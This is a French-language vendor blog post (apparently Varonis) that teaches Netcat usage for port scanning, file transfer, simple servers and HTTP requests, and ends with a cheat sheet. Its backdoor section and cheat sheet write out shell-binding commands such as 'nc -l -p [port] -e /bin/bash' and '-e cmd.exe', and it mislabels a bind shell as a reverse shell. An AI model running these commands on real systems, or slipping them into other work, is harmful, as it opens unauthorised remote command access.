Inside Out - Blog CyberSécurité Blog   /  

Comment utiliser les commandes Netcat : exemples et aide-mémoire

Comment utiliser les commandes Netcat : exemples et aide-mémoire

L'utilitaire Netcat propose un large éventail de commandes pour gérer les réseaux et surveiller le flux des données de trafic entre les systèmes. Les réseaux informatiques, dont Internet, sont basés sur l'épine dorsale des protocoles TCP (Transmission Control Protocol) et UDP (User Datagram Protocol). Il s'agit d'un outil gratuit et simple à utiliser avec Wireshark, spécifiquement pour l'analyse de paquets réseau. La première version de Netcat a été lancée en 1995 et l'utilitaire a été maintes fois mis à jour depuis.

Télécharger l'aide-mémoire complet sur Netcat

À quoi sert Netcat ?

Même s'il peut être utile à toute équipe informatique, Netcat est un outil particulièrement bien adapté à la croissance des services réseau gérés en interne et du cloud computing. Les administrateurs réseau et système doivent pouvoir rapidement déterminer comment fonctionne leur réseau et quels types d'activités s'y déroulent.

Netcat fonctionne comme un outil de back-end qui permet d'effectuer un balayage et une écoute des ports. Vous pouvez d'autre part l'utiliser pour un transfert direct de fichiers ou comme un backdoor dans d'autres systèmes en réseau. Si vous le combinez à un outil comme Varonis Edge, vous pourrez recevoir une alerte en cas d'activité inhabituelle puis utiliser Netcat pour mener votre enquête. Netcat est enfin un outil souple car il peut être intégré à des scripts destinés à réaliser des tâches plus lourdes.

Utilisations des commandes Netcat

Commandes Netcat de base

Une fois que l'application Netcat est configurée sur votre serveur Windows ou Linux, vous pouvez commencer à exécuter des commandes de base pour tester ses fonctionnalités. En voici quelques-unes pour commencer :

nc -help – Cette commande affichera une liste de toutes les commandes disponibles dans Netcat. Elle s'avérera utile si vous rencontrez des erreurs en écrivant un script ou si vous n'êtes pas certain de la façon de procéder.

nc -z -v site.com – Cette commande lancera un balayage des ports basique du site ou serveur spécifié. Netcat renverra des résultats détaillés avec les listes des ports et leurs statuts. Vous pouvez aussi utiliser une adresse IP à la place du domaine du site.

nc -l – Cette commande demandera au système local de démarrer une écoute des connexions TCP et de l'activité UDP sur un numéro de port précis.

nc site.com 1234 (less than) file_name – Cette commande lancera le transfert d'un fichier en utilisant le numéro de port spécifié.

Printf – Netcat peut assurer les fonctions d'un serveur Web simple. Cette commande vous permettra d'enregistrer du code HTML et de le publier sur votre serveur local.

Capture d'écran de la commande Printf Netcat

Syntaxe des commandes Netcat

Toutes les commandes Netcat doivent commencer par l'identifiant « netcat », « nc » étant une option plus courte. Sauf indication contraire de votre part, l'outil Netcat supposera par défaut que vous voulez effectuer un balayage de port.

Différents paramètres d'option peuvent être utilisés, dont : « -u » pour le trafic UDP plutôt que TCP, « -v » pour obtenir des résultats détaillés, « -p » pour indiquer un port spécifique, et « -D » pour activer le mode débogage complet. Dans une commande Netcat, les attributs individuels doivent être séparés par un espace. L'invite de commande vous indiquera si vous avez fait une erreur de saisie ou si votre script contient un terme non reconnu.

Balayage de ports avec les commandes NetCat

Pour diagnostiquer un problème réseau ou de performance, il est judicieux de commencer par utiliser Netcat pour effectuer un balayage de ports. Ce balayage vérifiera l'état de l'ensemble des ports du domaine ou de l'adresse IP passée en paramètre, ce qui vous permettra de déterminer si un firewall ou un autre mécanisme de blocage est à l'œuvre.

Avec Netcat, la commande de base pour le balayage d'une adresse IP ressemble à :

nc -v -n 8.8.8.8 1-1000

Capture d'écran d'un balayage de port avec Netcat

Notez que la valeur numérique figurant à la fin de la commande indique à Netcat de ne balayer que les ports dont le numéro est compris entre 1 et 1000.

Si vous ne connaissez pas l'adresse IP d'un serveur ou d'un site Web, vous pouvez l'obtenir en exécutant un ping dans la console ou vous pouvez vous contenter d'insérer le nom du domaine dans la commande Netcat :

nc -v -n google.com 1-1000

Lorsque vous êtes connecté au réseau local de votre entreprise, vous devez toujours effectuer des balayages de ports. Sinon, vous pouvez configurer votre routeur en utilisant un service de VPN afin de créer un tunnel sécurisé dans le réseau.

Créer une messagerie instantanée ou un serveur Web

Les programmes de messagerie instantanée sont de plus en plus utilisés. Depuis les solutions open-source jusqu'à celles qui semblent avoir soudainement bénéficié d'une popularité massive, on trouve un très grand nombre d'outils de messagerie instantanée et de communication utilisables en entreprise. La réalité, c'est que certains experts en informatique et administrateurs système préfèreront une solution simple en mode texte. Windows Netcat peut répondre à ce besoin et permettre de transmettre des messages sur le réseau local.

Pour commencer, vous devez d'abord indiquer à Netcat de démarrer une écoute sur un numéro de port. Assurez-vous de ne pas sélectionner un port déjà utilisé par une autre application ou un autre service.

nc -l -p 1299

Capture d'écran de la commande de messagerie dans Netcat

Il ne reste plus qu'à lancer la session de messagerie instantanée avec une nouvelle connexion TCP :

nc localhost 1299

Ce procédé peut également être utilisé pour faire fonctionner un serveur Web minimal sur votre machine locale. Netcat fonctionnera comme un serveur Web, vous permettant de stocker du contenu HTML qui pourra ensuite être visualisé dans un navigateur Web.

Créez tout d'abord un document texte sur votre système local et assurez-vous d'utiliser des balises HTML valides. Puis enregistrez le fichier sous le nom « index.html » et stockez-le à la racine du répertoire Netcat. Revenez à l'outil Netcat et exécutez la commande suivante :

printf ‘HTTP/1.1 200 OK\n\n%s’ “$(cat index.html)” | netcat -l 8999

Pour visualiser le HTML, il vous suffit d'ouvrir un navigateur Web quelconque et de naviguer vers votre adresse IP locale en ajoutant :8999 à la fin pour indiquer le port du serveur.

Balayage détaillé avec les commandes Netcat

Toute commande que vous exécutez avec Netcat affichera un texte indiquant si elle a abouti ou non. Dans des situations de dépannage ou de débogage, vous voudrez recueillir autant d'informations et de logs que possible, tout en investissant dans des solutions comme Varonis Datalert pour détecter les menaces et y répondre rapidement. Netcat peut vous y aider grâce au paramètre « verbose » pouvant être ajouté à la fin de toutes les commandes Netcat de base. Il vous suffit d'ajouter « -v » à votre commande et de l'exécuter à nouveau.

Même lorsque cette option est activée, Netcat ne révèlera aucune de vos données d'identification et d'authentification.

Requêtes HTTP avec les commandes Netcat

Nous vous avons montré comment utiliser Netcat pour héberger des pages HTML sur votre système local. Mais cet utilitaire peut également être utilisé pour transmettre des requêtes Web à des serveurs externes. Utilisé ainsi, Netcat fonctionnera de façon similaire à un navigateur Web et recevra du code HTML brut.

Associé à un outil tel que Varonis Edge, Netcat peut être utile aux professionnels informatiques analysant des problèmes de trafic Internet ou des proxies. Voici par exemple comment on peut obtenir du contenu HTML à partir de la page d'accueil de Google :

printf “GET / HTTP/1.0\r\n\r\n” | nc google.com 80

Notez qu'il est impératif d'indiquer le numéro de port 80 pour ce type de commande, car le World Wide Web utilise par défaut cette valeur pour les connexions TCP/IP.

Commandes TCP serveur et client

Même si le protocole TCP est surtout utilisé pour faire transiter le trafic Web partout dans le monde, il peut également être mis en œuvre pour transférer des fichiers au niveau local. Pour cela, vous devez lancer Netcat sur deux emplacements : l'un qui fonctionnera comme serveur pour envoyer le fichier et l'autre qui fonctionnera comme client pour le recevoir.

Sur le serveur, exécutez la commande Netcat suivante pour envoyer le fichier sur le port 1499 :

nc -l 1499 > filename.out

Puis exécutez sur le client la commande suivante pour accepter, recevoir, et fermer la connexion :

nc server.com 1499 (less than) filename.in

N'oubliez pas de remplacer « server.com » par le nom d'hôte complet ou l'adresse IP du serveur d'envoi.

ITEM avec les commandes Netcat

Les versions récentes de Netcat vous permettent d'utiliser le format ITEM pour transférer des données, plutôt que les protocoles TCP ou UDP standard. Vous devez pour cela utiliser la syntaxe suivante :

file_path (pipe) device_path (pipe) network host

Empêcher la résolution DNS avec les commandes Netcat

Les commandes Netcat s'exécutent plus rapidement lorsqu'elles sont utilisées avec de simples adresses. Cela est dû au fait que l'outil ne perd pas de temps à demander à des serveurs de noms de domaine (DNS) de traduire des noms de serveur en adresse IP. Si vous trouvez que vos commandes Netcat s'exécutent lentement, assurez-vous d'ajouter l'opérateur « -n » de façon à ce que l'utilitaire sache qu'il n'est pas nécessaire d'interroger le DNS.

Écriture de scripts Shell avec Netcat

Comme nous l'avons déjà mentionné, l'un des avantages de Netcat est qu'il est possible de l'intégrer dans un script réalisant une fonction automatisée. Dans le cadre de vos procédures de sécurité, il se peut que vous vouliez exécuter un balayage de ports complet sur tous vos serveurs, afin de détecter de nouvelles applications malveillantes à l'écoute d'une connexion.

Vous pouvez écrire un script qui :

1. Importe un fichier texte des noms de serveur ou des adresses IP
2. Demande à Netcat de lancer un balayage des ports sur chaque serveur
3. Écrit le résultat dans un nouveau fichier texte pour l'analyser

Il est possible de regrouper plusieurs commandes Netcat dans un même script et de les exécuter dans un shell Linux ou Windows. Dans certains cas, il peut être utile de planifier l'exécution régulière de ces scripts.

Lancer des reverse shells (Backdoor)

Pour commencer, vous devez activer le shell avec une commande Netcat en utilisant le reverse shell de Netcat :

nc -n -v -l -p 5555 -e /bin/bash

Puis, à partir de n'importe quel autre système sur le réseau, vous pouvez tester l'exécution de commandes sur l'hôte après une connexion réussie de Netcat dans bash.

nc -nv 127.0.0.1 5555

Un reverse shell est une technique d'accès à distance qui vous permet d'exécuter des commandes d'administration à partir d'un terminal, en étant connecté à un autre serveur du réseau. Pour commencer, vous devez activer le shell avec une commande Netcat en utilisant le reverse shell de Netcat :

nc -n -v -l -p 5555 -e /bin/bash

Puis, à partir de n'importe quel autre système sur le réseau, vous pouvez tester l'exécution de commandes sur l'hôte sélectionné après une connexion réussie de Netcat dans bash :

nc -nv 127.0.0.1 5555

Aide-mémoire Netcat

Tant que vous n'utiliserez pas régulièrement Netcat, vous risquez d'être désorienté par la syntaxe des commandes ou d'oublier à quoi correspondent certains paramètres. Ne vous inquiétez pas ! Nous vous proposons ci-dessous un aide-mémoire qui vous aidera à trouver rapidement ce que vous cherchez pour exécuter une commande Netcat.

Fondamentaux de Netcat

nc [options] [host] [port] – par défaut cela exécute un balayage des ports

nc -l [host] [port] – lance une écoute du port spécifié

Options des commandes Netcat

nc -4 – utilise uniquement IPv4

nc -6 – utilise IPV6

nc -u – utilise UDP au lieu de TCP

nc -k -l – poursuit l'écoute après la déconnexion

nc -n – ignore les résolutions DNS

nc -v – fournit des résultats détaillés

Relais Netcat sous Windows

nc [host] [port] > relay.bat – ouvre une connexion à un relais

nc -l -p [port] -e relay.bat – connexion à un relais

Relais Netcat sous Linux

nc -l -p [port] 0 (less than) backpipe (pipe) nc [client IP] [port] (pipe) tee backpipe

Transfert de fichiers avec Netcat

nc [host] [port] (greater than) file_name.out– envoie un fichier

nc [host] [port] (less than) file_name.in – reçoit un fichier

Balayage de ports avec Netcat

nc -zv site.com 80 – balayage d'un port unique

nc -zv hostname.com 80 84 – balayage d'un ensemble de ports séparés

nc -zv site.com 80-84 – balayage d'une plage de ports

Bannières Netcat

echo “” | nc -zv -wl [host] [port range] – obtient les bannières TCP pour une plage de ports

Shells backdoor Netcat

nc -l -p [port] -e /bin/bash – exécute un shell sous Linux

nc -l -p [port] -e cmd.exe – exécute un shell sur Netcat pour Windows

Autres ressources sur Netcat

Dans un monde où les technologies évoluent très vite et où les réseaux sont de plus en plus complexes, les entreprises doivent être proactives en matière de cybersécurité. Cela passe par le recrutement d'experts qui savent quelles sont les menaces à rechercher et comment les combattre. Sans quoi l'occurrence d'une seule cyberattaque, par exemple un ransomware, risque de provoquer des dégâts durables pour toute l'organisation. L'association des solutions de Varonis à des outils tels que Netcat permettra de renforcer la sécurité de votre réseau interne.

Nous sommes Varonis.

Depuis 2005, nous protégeons les données les plus précieuses du monde des mains de vos ennemis grâce à notre plateforme de sécurité des données, leader sur le marché.

Comment fonctionne Varonis ?